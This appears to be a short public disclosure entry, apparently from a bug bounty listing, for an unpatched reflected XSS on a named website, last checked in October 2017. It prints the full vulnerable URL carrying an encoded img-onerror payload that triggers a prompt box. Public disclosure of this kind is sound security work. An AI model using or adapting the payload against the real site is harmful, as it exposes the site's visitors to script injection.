teenpies.com XSS vulnerability

Vulnerable URL: http://www.teenpies.com/t2/?nats=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3EMTA0MDIuMi43NS4xOTQyLjUwLjAuMC4wLjA Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...